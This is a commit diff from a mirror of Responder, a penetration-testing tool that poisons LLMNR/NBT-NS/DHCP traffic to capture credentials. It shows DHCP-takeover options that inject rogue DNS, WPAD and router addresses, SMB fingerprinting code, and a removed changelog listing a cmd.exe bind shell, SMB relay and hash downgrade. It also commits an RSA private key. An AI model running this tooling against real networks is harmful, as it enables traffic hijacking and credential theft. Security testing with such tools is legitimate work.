mirror of
https://github.com/lgandx/Responder.git
synced 2025-07-06 04:51:23 -07:00
Complete refactoring of responder code, first pass
This commit is contained in:
parent
f4bd612e08
commit
050edc22f3
43 changed files with 4105 additions and 4722 deletions
64
.gitignore
vendored
Normal file
64
.gitignore
vendored
Normal file
|
@ -0,0 +1,64 @@
|
|||
/plugins/old_plugins/
|
||||
backdoored/
|
||||
# Byte-compiled / optimized / DLL files
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
|
||||
# C extensions
|
||||
*.so
|
||||
|
||||
# Distribution / packaging
|
||||
.Python
|
||||
env/
|
||||
build/
|
||||
develop-eggs/
|
||||
dist/
|
||||
downloads/
|
||||
eggs/
|
||||
.eggs/
|
||||
lib/
|
||||
lib64/
|
||||
parts/
|
||||
sdist/
|
||||
var/
|
||||
*.egg-info/
|
||||
.installed.cfg
|
||||
*.egg
|
||||
|
||||
# PyInstaller
|
||||
# Usually these files are written by a python script from a template
|
||||
# before PyInstaller builds the exe, so as to inject date/other infos into it.
|
||||
*.manifest
|
||||
*.spec
|
||||
|
||||
# Installer logs
|
||||
pip-log.txt
|
||||
pip-delete-this-directory.txt
|
||||
|
||||
# Unit test / coverage reports
|
||||
htmlcov/
|
||||
.tox/
|
||||
.coverage
|
||||
.coverage.*
|
||||
.cache
|
||||
nosetests.xml
|
||||
coverage.xml
|
||||
*,cover
|
||||
|
||||
# Translations
|
||||
*.mo
|
||||
*.pot
|
||||
|
||||
# Django stuff:
|
||||
*.log
|
||||
|
||||
# Sphinx documentation
|
||||
docs/_build/
|
||||
|
||||
# PyBuilder
|
||||
target/
|
||||
|
||||
# Responder logs
|
||||
*.txt
|
||||
*.log
|
||||
logs/*
|
67
CHANGELOG
67
CHANGELOG
|
@ -1,67 +0,0 @@
|
|||
ChangeLog Responder 2.1.4:
|
||||
- Added: FindSMB2UPTime.py
|
||||
- Added: FindSQLSrv.py
|
||||
- Added: DontRespondTo and DontRespondToName options in Responder.conf
|
||||
- Added: Lanman module
|
||||
- Added: Analyze mode
|
||||
- Added: SMBRelay
|
||||
- Removed: Old style options (On/Off). Just use -r instead of -r On.
|
||||
- Added [DHCP.py]: in-scope target, windows >= Vista support (-R) and unicast answers only.
|
||||
- Added: In-scope llmnr/nbt-ns name option
|
||||
- Added: Kerberos hash support
|
||||
- Added: DHCP INFORM take over tool (DHCP.py)
|
||||
- Added: MDNS Poisoner.
|
||||
- Added: -F command line switch to force NTLM authentication on PAC file retrieval.
|
||||
- Added: Ability to inject custom HTML in HTTP responses.
|
||||
- Added: New WPAD proxy server. Enabled by default.
|
||||
- Several improvements.
|
||||
- Added: SMTP module
|
||||
- Added: POP3 module
|
||||
- Added: MSSQL plaintext auth support
|
||||
- Added: SMB Relay
|
||||
- Added: NBT-NS name is now printed.
|
||||
- Added: -I command line switch (network interface). When set, this option override Responder.conf Bind_to setting.
|
||||
- Added: Ability to change the HTML payload returned after authentication. See Responder.conf
|
||||
- Added: Ability to change the pac script in Responder.conf
|
||||
- Added: Configuration file for Responder. See Responder.conf
|
||||
- Removed: Several options removed.
|
||||
- Added: Bind shell which when executed on a victim workstation, will bind cmd.exe to port 140.
|
||||
- Added: -e, --exe, --file option for serving specific files via the HTTP and WPAD server.
|
||||
- Added: Ability to bind Responder to a specific interface
|
||||
- Fix: Several fixes
|
||||
- Added: HTTPS module.
|
||||
- Added: Support for LM Hash downgrade.
|
||||
- Added: WPAD transparent proxy server.
|
||||
- Fix: minor bug fix
|
||||
- Fix: Fixed bug in HTTP server.
|
||||
- Added: Rogue LDAP auth server. Supports clear text password and NTLMSSP.
|
||||
- Added: Ability to turn on/off the DNS server.
|
||||
- Added: Icmp-Redirect.py for MITM Windows XP/2003 and earlier Domain members.
|
||||
- Added: SMB Clear Text function for NT4 specific.
|
||||
- Added: DNS server module.
|
||||
- Added: FTP server module.
|
||||
- Added: Ability to find the PDC in stealth mode with the Browser listener.
|
||||
- Several changes.
|
||||
- Removed: -d option (Domain), useless for now.
|
||||
- Added: SMB Extended Security NTLMSSP authentication.
|
||||
- Added: Fingerprint module.
|
||||
- Added: Ability to turn off independently capture services.(mubix)
|
||||
- Added: Function to grab HTTP cookies.
|
||||
- Fix: Typo in logfile description.
|
||||
- Added: Option for logging to a file (ravenium).
|
||||
- Added: Basic exception handling for server sockets (ravenium).
|
||||
- Added: Logging functionality, now logs all Responder activity to a file with date and time.
|
||||
- Added: Print IP address to stdout for each protocol.
|
||||
- Improvement: Added new line on Writedata (atucom).
|
||||
- Improvement: final Hash is now printed to stdout instead of NT and LM.
|
||||
- Fix: Fixed spelling in README (atucom).
|
||||
- Fix: Removed hardcoded challenge for SQL NTLM.
|
||||
- Fix: Removed hardcoded challenge for HTTP NTLM.
|
||||
- Added an HTTP server with support for ntlmv1/v2 and basic Auth.
|
||||
- Added command line switch support with optparse.
|
||||
- Added -r switch, which allows turning On/Off Wredir answers.
|
||||
- Added the possibility to turn off HTTP server using the -s switch.
|
||||
- Added LLMNR module.
|
||||
- Fixed bug in NTLMv1 hash parsing when clientOs and ClientVersion are
|
||||
empty.
|
||||
- Several minor changes.
|
|
@ -1,2 +1,3 @@
|
|||
#!/bin/bash
|
||||
openssl genrsa -des3 -out responder.tmp.key 2048&&openssl rsa -in responder.tmp.key -out responder.key&&openssl req -new -key responder.key -out responder.csr&&openssl x509 -req -days 365 -in responder.csr -signkey responder.key -out responder.crt&&rm responder.tmp.key responder.csr
|
||||
openssl genrsa -out responder.key 2048
|
||||
openssl req -new -x509 -days 3650 -key responder.key -out responder.crt -subj "/"
|
||||
|
|
|
@ -1,19 +1,18 @@
|
|||
-----BEGIN CERTIFICATE-----
|
||||
MIIDBjCCAe4CCQDDe8Sb2PGjITANBgkqhkiG9w0BAQUFADBFMQswCQYDVQQGEwJB
|
||||
VTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0
|
||||
cyBQdHkgTHRkMB4XDTEzMDIyODIwMTcxN1oXDTE0MDIyODIwMTcxN1owRTELMAkG
|
||||
A1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoMGEludGVybmV0
|
||||
IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
|
||||
AMQB5yErm0Sg7sRQbLgbi/hG/8uF2xUzvVKnT4LROEWkkimy9umb2JbvAZITDvSs
|
||||
r2xsPA4VoxFjKpWLOv7mAIMBR95NDWsTLuR36Sho/U2LlTlUBdSfQP7rlKQZ0L43
|
||||
YpXswdvCCJ0wP2yOhq0i71cg/Nk9mfQxftpgGUxoa+6ljU9hSdmThu2FVgAbSpNl
|
||||
D86rk4K9/sGYAY4btMqaMzC7JIKZp07FHL32oM01cKbRoNg2eUuQmoVjca1pkmbO
|
||||
Y8qnl7ajOjsiAPQnt/2TMJlRsdoU1fSx76Grgkm8D4gX/pBUqELdpvHtnm/9imPl
|
||||
qNGL5LaW8ARgG16U0mRhutkCAwEAATANBgkqhkiG9w0BAQUFAAOCAQEAS7u4LWc9
|
||||
wDPThD0o58Ti2GgIs+mMRx5hPaxWHJNCu+lwFqjvWmsNFfHoSzlIkIUjtlV2G/wE
|
||||
FxDSPlc/V+r7U2UiE7WSqQiWdmfOYS2m03x4SN0Vzf/n9DeApyPo2GsXGrha20eN
|
||||
s390Xwj6yKFdprUPJ8ezlEVRrAMv7tu1cOLzqmkocYKnPgXDdQxiiGisp7/hEUCQ
|
||||
B7HvNCMPbOi+M7O/CXbfgnTD029KkyiR2LEtj4QC5Ytp/pj0UyyoIeCK57CTB3Jt
|
||||
X3CZ+DiphTpOca4iENH55m6atk+WHYwg3ClYiONQDdIgKVT3BK0ITjyFWZeTneVu
|
||||
1eVgF/UkX9fqJg==
|
||||
MIIC0zCCAbugAwIBAgIJAOQijexo77F4MA0GCSqGSIb3DQEBBQUAMAAwHhcNMTUw
|
||||
NjI5MDU1MTUyWhcNMjUwNjI2MDU1MTUyWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOC
|
||||
AQ8AMIIBCgKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k
|
||||
sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP
|
||||
2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC
|
||||
6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg
|
||||
WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF
|
||||
N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABo1AwTjAdBgNVHQ4EFgQU
|
||||
YY2ttc/bjfXwGqPvNUSm6Swg4VYwHwYDVR0jBBgwFoAUYY2ttc/bjfXwGqPvNUSm
|
||||
6Swg4VYwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAXFN+oxRwyqU0
|
||||
YWTlixZl0NP6bWJ2W+dzmlqBxugEKYJCPxM0GD+WQDEd0Au4pnhyzt77L0sBgTF8
|
||||
koFbkdFsTyX2AHGik5orYyvQqS4jVkCMudBXNLt5iHQsSXIeaOQRtv7LYZJzh335
|
||||
4431+r5MIlcxrRA2fhpOAT2ZyKW1TFkmeAMoH7/BTzGlre9AgCcnKBvvGdzJhCyw
|
||||
YlRGHrfR6HSkcoEeIV1u/fGU4RX7NO4ugD2wkOhUoGL1BS926WV02c5CugfeKUlW
|
||||
HM65lZEkTb+MQnLdpnpW8GRXhXbIrLMLd2pWW60wFhf6Ub/kGJ5bCUTnXYPRcA3v
|
||||
u0/CRCN/lg==
|
||||
-----END CERTIFICATE-----
|
||||
|
|
|
@ -1,27 +1,27 @@
|
|||
-----BEGIN RSA PRIVATE KEY-----
|
||||
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
|
||||
-----END RSA PRIVATE KEY-----
|
||||
|
|
24
DHCP.py
24
DHCP.py
|
@ -20,36 +20,24 @@ from odict import OrderedDict
|
|||
from socket import inet_aton, inet_ntoa
|
||||
|
||||
|
||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1',
|
||||
prog=sys.argv[0],
|
||||
)
|
||||
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
|
||||
|
||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],)
|
||||
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="Responder_IP")
|
||||
parser.add_option('-d', '--dnsname',action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME")
|
||||
|
||||
parser.add_option('-r', '--router',action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP")
|
||||
|
||||
parser.add_option('-p', '--primary',action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP")
|
||||
|
||||
parser.add_option('-s', '--secondary',action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2")
|
||||
|
||||
parser.add_option('-n', '--netmask',action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask")
|
||||
|
||||
parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
|
||||
|
||||
parser.add_option('-w', '--wpadserver',action="store", help="Your WPAD server, finish the string with '\\n'", metavar="\"http://wpadsrv/wpad.dat\\n\"", default="\n", dest="WPAD")
|
||||
|
||||
parser.add_option('-S',action="store_true", help="Spoof the router ip address",dest="Spoof")
|
||||
|
||||
parser.add_option('-R',action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Request")
|
||||
|
||||
options, args = parser.parse_args()
|
||||
|
||||
def ShowWelcome():
|
||||
Message = 'DHCP INFORM Take Over 0.2\nAuthor: Laurent Gaffie\nPlease send bugs/comments/pcaps to: lgaffie@trustwave.com\nBy default, this script will only inject a new DNS/WPAD server to a Windows <= XP/2003 machine.\nTo inject a DNS server/domain/route on a Windows >= Vista and any linux box, use -R (can be noisy)\n\033[1m\033[31mUse Responder.conf\'s RespondTo setting for in-scope only targets\033[0m\n'
|
||||
print Message
|
||||
|
||||
if options.OURIP is None:
|
||||
if options.Responder_IP is None:
|
||||
print "\n\033[1m\033[31m-i mandatory option is missing, please provide your IP address.\033[0m\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
@ -84,10 +72,10 @@ RespondTo = config.get('Responder Core', 'RespondTo').strip()
|
|||
|
||||
#Setting some vars
|
||||
Interface = options.Interface
|
||||
OURIP = options.OURIP
|
||||
Responder_IP = options.Responder_IP
|
||||
ROUTERIP = options.RouterIP
|
||||
NETMASK = options.Netmask
|
||||
DHCPSERVER = options.OURIP
|
||||
DHCPSERVER = options.Responder_IP
|
||||
DNSIP = options.DNSIP
|
||||
DNSIP2 = options.DNSIP2
|
||||
DNSNAME = options.DNSNAME
|
||||
|
@ -102,7 +90,7 @@ def SpoofIP(Spoof):
|
|||
if Spoof:
|
||||
return ROUTERIP
|
||||
else:
|
||||
return OURIP
|
||||
return Responder_IP
|
||||
|
||||
def RespondToSpecificHost(RespondTo):
|
||||
if len(RespondTo)>=1 and RespondTo != ['']:
|
||||
|
|
|
@ -53,6 +53,8 @@ def NbtLen(data):
|
|||
Len = struct.pack(">i", len(data))
|
||||
return Len
|
||||
|
||||
from packets import SMBHeader
|
||||
"""
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("Proto", "\xff\x53\x4d\x42"),
|
||||
|
@ -68,6 +70,7 @@ class SMBHeader(Packet):
|
|||
("UID", "\x00\x00"),
|
||||
("MID", "\x00\x00"),
|
||||
])
|
||||
"""
|
||||
|
||||
class SMBNego(Packet):
|
||||
fields = OrderedDict([
|
||||
|
|
133
Fingerprint.py
133
Fingerprint.py
|
@ -15,120 +15,55 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import re,sys,socket,struct,string
|
||||
from socket import *
|
||||
import re
|
||||
import sys
|
||||
import socket
|
||||
import struct
|
||||
import string
|
||||
import logging
|
||||
|
||||
from utils import *
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
def longueur(payload):
|
||||
length = struct.pack(">i", len(''.join(payload)))
|
||||
return length
|
||||
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("proto", "\xff\x53\x4d\x42"),
|
||||
("cmd", "\x72"),
|
||||
("error-code", "\x00\x00\x00\x00" ),
|
||||
("flag1", "\x00"),
|
||||
("flag2", "\x00\x00"),
|
||||
("pidhigh", "\x00\x00"),
|
||||
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("reserved", "\x00\x00"),
|
||||
("tid", "\x00\x00"),
|
||||
("pid", "\x00\x00"),
|
||||
("uid", "\x00\x00"),
|
||||
("mid", "\x00\x00"),
|
||||
])
|
||||
|
||||
class SMBNego(Packet):
|
||||
fields = OrderedDict([
|
||||
("wordcount", "\x00"),
|
||||
("bcc", "\x62\x00"),
|
||||
("data", "")
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["bcc"] = struct.pack("<h",len(str(self.fields["data"])))
|
||||
|
||||
class SMBNegoData(Packet):
|
||||
fields = OrderedDict([
|
||||
("separator1","\x02" ),
|
||||
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
|
||||
("separator2","\x02"),
|
||||
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
|
||||
("separator3","\x02"),
|
||||
("dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
|
||||
("separator4","\x02"),
|
||||
("dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
|
||||
("separator5","\x02"),
|
||||
("dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
|
||||
("separator6","\x02"),
|
||||
("dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
|
||||
])
|
||||
|
||||
class SMBSessionFingerData(Packet):
|
||||
fields = OrderedDict([
|
||||
("wordcount", "\x0c"),
|
||||
("AndXCommand", "\xff"),
|
||||
("reserved","\x00" ),
|
||||
("andxoffset", "\x00\x00"),
|
||||
("maxbuff","\x04\x11"),
|
||||
("maxmpx", "\x32\x00"),
|
||||
("vcnum","\x00\x00"),
|
||||
("sessionkey", "\x00\x00\x00\x00"),
|
||||
("securitybloblength","\x4a\x00"),
|
||||
("reserved2","\x00\x00\x00\x00"),
|
||||
("capabilities", "\xd4\x00\x00\xa0"),
|
||||
("bcc1",""),
|
||||
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
||||
|
||||
from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
|
||||
|
||||
def OsNameClientVersion(data):
|
||||
try:
|
||||
lenght = struct.unpack('<H',data[43:45])[0]
|
||||
pack = tuple(data[47+lenght:].split('\x00\x00\x00'))[:2]
|
||||
var = [e.replace('\x00','') for e in data[47+lenght:].split('\x00\x00\x00')[:2]]
|
||||
OsVersion, ClientVersion = tuple(var)
|
||||
length = struct.unpack('<H',data[43:45])[0]
|
||||
pack = tuple(data[47+length:].split('\x00\x00\x00'))[:2]
|
||||
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
||||
return OsVersion, ClientVersion
|
||||
|
||||
except:
|
||||
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
|
||||
|
||||
def RunSmbFinger(host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect(host)
|
||||
s.settimeout(0.7)
|
||||
|
||||
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
|
||||
n = SMBNego(data = SMBNegoData())
|
||||
n = SMBNego(data = SMBNegoFingerData())
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(buffer0)
|
||||
|
||||
Packet = str(h)+str(n)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
s.send(Buffer)
|
||||
data = s.recv(2048)
|
||||
|
||||
if data[8:10] == "\x72\x00":
|
||||
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
|
||||
t = SMBSessionFingerData()
|
||||
t.calculate()
|
||||
final = t
|
||||
packet0 = str(head)+str(final)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
|
||||
Body = SMBSessionFingerData()
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
s.send(Buffer)
|
||||
data = s.recv(2048)
|
||||
|
||||
if data[8:10] == "\x73\x16":
|
||||
return OsNameClientVersion(data)
|
||||
except:
|
||||
print color("[*] ", 1, 1) +" Fingerprint failed"
|
||||
return None
|
||||
|
|
|
@ -1,132 +0,0 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import re,socket,struct
|
||||
from socket import *
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
def longueur(payload):
|
||||
length = struct.pack(">i", len(''.join(payload)))
|
||||
return length
|
||||
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("proto", "\xff\x53\x4d\x42"),
|
||||
("cmd", "\x72"),
